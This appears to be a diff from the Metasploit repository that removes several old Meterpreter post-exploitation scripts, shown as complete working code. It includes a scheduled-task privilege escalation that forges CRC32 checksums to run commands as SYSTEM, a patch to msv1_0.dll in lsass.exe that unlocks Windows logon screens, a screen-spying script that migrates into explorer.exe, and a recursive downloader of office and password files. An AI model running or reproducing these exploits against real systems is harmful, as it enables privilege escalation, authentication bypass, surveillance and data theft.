0x6016F7E5, 0xBB67F1A4, 0x0D85FD26, 0xD6F4FB67,
0xBB30E263, 0x6041E422, 0xD6A3E8A0, 0x0DD2EEE1,
0x0D2BDAA8, 0xD65ADCE9, 0x60B8D06B, 0xBBC9D62A,
0xD60DCF2E, 0x0D7CC96F, 0xBB9EC5ED, 0x60EFC3AC,
0xD5E91E0A, 0x0E98184B, 0xB87A14C9, 0x630B1288,
0x0ECF0B8C, 0xD5BE0DCD, 0x635C014F, 0xB82D070E,
0xB8D43347, 0x63A53506, 0xD5473984, 0x0E363FC5,
0x63F226C1, 0xB8832080, 0x0E612C02, 0xD5102A43,
0x0F934490, 0xD4E242D1, 0x62004E53, 0xB9714812,
0xD4B55116, 0x0FC45757, 0xB9265BD5, 0x62575D94,
0x62AE69DD, 0xB9DF6F9C, 0x0F3D631E, 0xD44C655F,
0xB9887C5B, 0x62F97A1A, 0xD41B7698, 0x0F6A70D9
]
crc = crc32(data[0, data.length - 12])
data[-12, 4] = [crc].pack('V')
data[-12, 12].unpack('C*').reverse.each { |b|
old_crc = ((old_crc << 8) ^ bwd_table[old_crc >> 24] ^ b) & 0xffffffff
}
data[-12, 4] = [old_crc].pack('V')
end
def exec_schtasks(cmdline, purpose)
lns = cmd_exec("cmd.exe /c " + cmdline + " && echo SCHELEVATOR")
success = false
lns.each_line { |ln|
ln.chomp!
if ln =~ /^SCHELEVATOR$/
success = true
else
print_status(ln)
end
}
raise "Unable to #{purpose}!" if not success
end
def read_task_file(taskname, taskfile)
print_status("Reading the task file contents from #{taskfile}...")
# Can't read the file directly on 2008?
content = ''
fd = client.fs.file.new(taskfile, "rb")
until fd.eof?
content << fd.read
end
fd.close
content
end
#
# Create a new task to do our bidding, but make sure it doesn't run.
#
taskname ||= Rex::Text.rand_text_alphanumeric(8+rand(8))
taskfile = "#{sysdir}\\system32\\tasks\\#{taskname}"
print_status("Creating task: #{taskname}")
cmdline = "schtasks.exe /create /tn #{taskname} /tr \"#{cmd}\" /sc monthly /f"
exec_schtasks(cmdline, "create the task")
#
# Read the contents of the newly creates task file
#
content = read_task_file(taskname, taskfile)
#
# Double-check that we got what we expect.
#
if content[0,2] != "\xff\xfe"
#
# Convert to unicode, since it isn't already
#
content = content.unpack('C*').pack('v*')
else
#
# NOTE: we strip the BOM here to exclude it from the crc32 calculation
#
content = content[2,content.length]
end
#
# Record the crc32 for later calculations
#
old_crc32 = crc32(content)
print_status("Original CRC32: 0x%x" % old_crc32)
#
# Convert the file contents from unicode
#
content = content.unpack('v*').pack('C*')
#
# Mangle the contents to now run with SYSTEM privileges
#
content.gsub!('LeastPrivilege', 'HighestAvailable')
content.gsub!(/<UserId>.*<\/UserId>/, '<UserId>S-1-5-18</UserId>')
content.gsub!(/<Author>.*<\/Author>/, '<Author>S-1-5-18</Author>')
#content.gsub!('<LogonType>InteractiveToken</LogonType>', '<LogonType>Password</LogonType>')
content.gsub!('Principal id="Author"', 'Principal id="LocalSystem"')
content.gsub!('Actions Context="Author"', 'Actions Context="LocalSystem"')
content << "<!-- ZZ -->"
#
# Convert it back to unicode
#
content = Rex::Text.to_unicode(content)
#
# Fix it so the CRC matches again
#
fix_crc32(content, old_crc32)
new_crc32 = crc32(content)
print_status("Final CRC32: 0x%x" % new_crc32)
#
# Write the new content back
#
print_status("Writing our modified content back...")
fd = client.fs.file.new(taskfile, "wb")
fd.write "\xff\xfe" + content
fd.close
#
# Run the task :-)
#
print_status("Disabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /disable", "disable the task")
print_status("Enabling the task...")
exec_schtasks("schtasks.exe /change /tn #{taskname} /enable", "enable the task")
print_status("Executing the task...")
exec_schtasks("schtasks.exe /run /tn #{taskname}", "run the task")
#
# And delete it.
#
print_status("Deleting the task...")
exec_schtasks("schtasks.exe /delete /f /tn #{taskname}", "delete the task")

View File

@ -1,84 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Script to unlock a windows screen by L4teral <l4teral [4t] gmail com>
# Needs system prvileges to run and known signatures for the target system.
# This script patches msv1_0.dll loaded by lsass.exe
#
# Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
#
revert = false
targets = [
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },
{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ }
]
opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ],
"-r" => [ false, "revert the patch (enable screen locking again)"]
)
opts.parse(args) { |opt, idx, val|
case opt
when "-r"
revert = true
when "-h"
print_line("")
print_line("USAGE: run screen_unlock [-r]")
print_line(opts.usage)
raise Rex::Script::Completed
end
}
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
unsupported if client.platform !~ /win32|win64/i
os = client.sys.config.sysinfo['OS']
targets.each do |t|
if os =~ t[:os]
target = t
print_status("OS '#{os}' found in known targets")
pid = client.sys.process["lsass.exe"]
p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
dllbase = p.image["msv1_0.dll"]
sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
if sig != target[:sig]
print_error("found signature does not match")
next
end
old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
print_error("found code does not match")
next
end
print_status("patching...")
new_code = revert ? target[:orig_code] : target[:patch]
p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))
written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
print_status("done!")
raise Rex::Script::Completed
else
print_error("failed!")
next
end
end
end
print_status("no working target found")

View File

@ -1,158 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com
#
# Thie script will open an interactive view of remote hosts
# You will need firefox installed on your machine
require 'fileutils'
opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-d" => [ true, "The Delay in seconds between each screenshot." ],
"-t" => [ true, "The time to run in sec." ],
"-s" => [ true, "The local system linux/windows" ]
)
freq = 3
count = 10
file = "screenshot.jpeg"
meter_type = client.platform
localsys = "linux"
opts.parse(args) { |opt, idx, val|
case opt
when '-d'
freq = val.to_i
when '-t'
count = val.to_i
when '-s'
localsys = val.to_s
when "-h"
print_line
print_line "Screenspy v1.0"
print_line "--------------"
print_line
print_line
print_line "Usage: bgrun screenspy -t 20 -d 1 => will take interactive Screenshot every sec for 20 sec long."
print_line "Usage: bgrun screenspy -t 60 -d 5 => will take interactive Screenshot every 5 sec for 1 min long."
print_line "Usage: bgrun screenspy -s windows -d 1 -t 60 => will take interactive Screenshot every 1 sec for 1 min long, windows local mode."
print_line
print_line "Author:Roni Bachar (@roni_bachar) roni.bachar.blog@gmail.com"
print_line(opts.usage)
raise Rex::Script::Completed
end
}
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Check for Version of Meterpreter
wrong_meter_version(meter_type) if meter_type !~ /win32|win64/i
session = client
host,port = session.session_host, session.session_port
print_status("New session on #{host}:#{port}...")
logs = ::File.join(Msf::Config.install_root, 'logs', 'screenshot', host)
outfile = ::File.join(Msf::Config.log_directory,file)
::FileUtils.mkdir_p(logs)
begin
process2mig = "explorer.exe"
# Actual migration
mypid = session.sys.process.getpid
session.sys.process.get_processes().each do |x|
if (process2mig.index(x['name'].downcase) and x['pid'] != mypid)
print_status("#{process2mig} Process found, migrating into #{x['pid']}")
session.core.migrate(x['pid'].to_i)
print_status("Migration Successful!!")
end
end
rescue
print_status("Failed to migrate process!")
#next
end
begin
session.core.use("espia")
begin
data="<title>#{host}</title><img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'><meta http-equiv='refresh' content='1'>"
path1 = File.join(logs,"video.html")
File.open(path1, 'w') do |f2|
f2.puts(data)
end
if (localsys == "windows")
print_status("Runing in local mode => windows")
print_status("Opening Interactive view...")
localcmd="start firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
else
print_status("Runing in local mode => Linux")
print_status("Opening Interactive view...")
localcmd="bash firefox -width 530 -height 660 \"file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/video.html\""
end
system (localcmd)
(1..count).each do |i|
sleep(freq) if(i != 1)
path = File.join(logs,"screenshot.jpeg")
data = session.espia.espia_image_get_dev_screen
if(data)
::File.open(path, 'wb') do |fd|
fd.write(data)
fd.close()
end
end
end
rescue ::Exception => e
print_status("Interactive Screenshot Failed: #{e.class} #{e} #{e.backtrace}")
end
print_status("The interactive Session ended...")
data = <<-EOS
<title>#{host} - Interactive Session ended</title>
<img src='file:///#{Msf::Config.install_root}/logs/screenshot/#{host}/screenshot.jpeg' width='500' height='500'>
<script>alert('Interactive Session ended - Happy Hunting')</script>
EOS
File.open(path1, 'w') do |f2|
f2.puts(data)
end
rescue ::Exception => e
print_status("Exception: #{e.class} #{e} #{e.backtrace}")
end

View File

@ -1,107 +0,0 @@
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
## Meterpreter script that recursively search and download
## files matching a given pattern
## Provided by Nicob <nicob [at] nicob.net>
## == WARNING ==
## As said by mmiller, this kind of script is slow and noisy :
## http://www.metasploit.com/archive/framework/msg01670.html
## However, it can sometimes save your ass ;-)
## == WARNING ==
# Filters
$filters = {
'office' => '\.(doc|docx|ppt|pptx|pps|xls|xlsx|mdb|od.)$',
'win9x' => '\.pwl$',
'passwd' => '(pass|pwd)',
}
@@opts = Rex::Parser::Arguments.new(
"-h" => [ false,"Help menu." ]
)
def usage
print_line "search_dwld -- recursively search for and download files matching a given pattern"
print_line "USAGE: run search_dwld [base directory] [filter] [pattern]"
print_line
print_line "filter can be a defined pattern or 'free', in which case pattern must be given"
print_line "Defined patterns:"
print_line $filters.keys.sort.collect{|k| "\t#{k}"}.join("\n")
print_line
print_line "Examples:"
print_line " run search_dwld"
print_line " => recursively look for (MS|Open)Office in C:\\"
print_line " run search_dwld %USERPROFILE% win9x"
print_line " => recursively look for *.PWL files in the user home directory"
print_line " run search_dwld E:\\\\ free '\.(jpg|png|gif)$'"
print_line " => recursively look for pictures in the E: drive"
print_line(@@opts.usage)
raise Rex::Script::Completed
end
@@opts.parse(args) { |opt, idx, val|
case opt
when "-h"
usage
end
}
def scan(path)
begin
dirs = client.fs.dir.foreach(path)
rescue ::Rex::Post::Meterpreter::RequestError => e
print_error("Error scanning #{path}: #{$!}")
return
end
dirs.each {|x|
next if x =~ /^(\.|\.\.)$/
fullpath = path + '\\' + x
if client.fs.file.stat(fullpath).directory?
scan(fullpath)
elsif fullpath =~ /#{$motif}/i
# Replace ':' or '%' or '\' by '_'
dst = fullpath.tr_s(":|\%|\\", "_")
dst = Rex::FileUtils.clean_path(::Dir.tmpdir + ::File::Separator + dst)
print_line("Downloading '#{fullpath}' to '#{dst}'")
client.fs.file.download_file(dst, fullpath)
end
}
end
#check for proper Meterpreter Platform
def unsupported
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
unsupported if client.platform !~ /win32|win64/i
# Get arguments
basedir = args[0] || "C:\\"
filter = args[1] || "office"
# Set the regexp
if filter == 'free'
if args[2].nil?
raise RuntimeError.new("free filter requires pattern argument")
end
$motif = args[2]
else
$motif = $filters[filter]
end
if $motif.nil?
raise RuntimeError.new("Unrecognized filter")
end
# Search and download
scan(basedir)

Some files were not shown because too many files have changed in this diff Show More